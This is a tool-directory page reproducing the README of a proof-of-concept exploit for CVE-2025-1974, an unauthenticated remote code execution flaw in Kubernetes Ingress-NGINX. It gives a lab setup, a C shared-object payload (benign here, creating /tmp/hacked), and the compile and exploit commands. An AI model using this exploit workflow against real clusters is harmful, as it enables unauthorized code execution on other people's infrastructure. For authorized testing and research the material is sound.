Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-1974 — Proof-of-concept exploit for CVE-2025-1974 (IngressNightmare) targeting Kubernetes Ingress-NGINX Admission Controller to achieve remote code execution via malicious AdmissionReview requests. | Kitploit
Tools/GitHubGitHub/chhhd/cve-2025-1974
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud SecurityRemote Access ToolPayload Development
GitHubchhhd/cve-2025-1974

CVE-2025-1974

Proof-of-concept exploit for CVE-2025-1974 (IngressNightmare) targeting Kubernetes Ingress-NGINX Admission Controller to achieve remote code execution via malicious AdmissionReview requests.

11371 year agoNot yet reviewed
Share
View Repository

Kubernetes Ingress-NGINX Unauthenticated Remote Code Execution (CVE-2025-1974)

Ingress-NGINX: An ingress controller for Kubernetes using NGINX as a reverse proxy and load balancer

The "IngressNightmare" vulnerability (CVE-2025-1974) stems from a critical flaw in the Ingress-NGINX Admission Controller, a core security mechanism of Kubernetes that validates incoming Ingress resources.

This controller is exposed to the network without authentication, allowing attackers to craft malicious AdmissionReview requests and inject unauthorized configurations into Ingress resources.

When chained with other vulnerabilities (CVE-2025-24514, CVE-2024-1097, or CVE-2025-1098), it can lead to remote code execution.

Some exploitable chains are as follows:

CVE-2025-1974+CVE-2025-24514: RCE via auth-url annotation injection

CVE-2025-1974+CVE-2025-1097: RCE via auth-tls-match-cn annotation

CVE-2025-1974+CVE-2025-1098: RCE via image UID abuse

Environment Setup

To simulate the vulnerability, a K3s-based Kubernetes environment is used for simplicity

docker compose up -d

Wait until the Kubernetes API is ready and the Ingress-nginx controller has started. Once the environment is up, Ingress-NGINX listens on ports 30080 and 30443 (TLS), and the Ingress-NGINX Admission Controller is on port 30443.

Execution Steps

First, compile a shared object (.so) payload that matches the container's architecture.

#include<stdio.h>
#include<stdlib.h>

__attribute__((constructor)) static void reverse_shell(void)
{
    system("touch /tmp/hacked");
}
  1. Compile the source code
gcc -shared -fPIC -o shell.so shell.c
  1. After compiling the above source code into the appropriate environment, use exploit.py to exploit the vulnerability
python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so

The exploit works by forging an AdmissionReview request with injected directives that force NGINX to load a malicious dynamic shared object.

If the exploit succeeds, you can confirm that a file is created inside the ingress-nginx container at ssl_engine.

image

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258

Explore all tools

Browse our collection of tools

View all tools →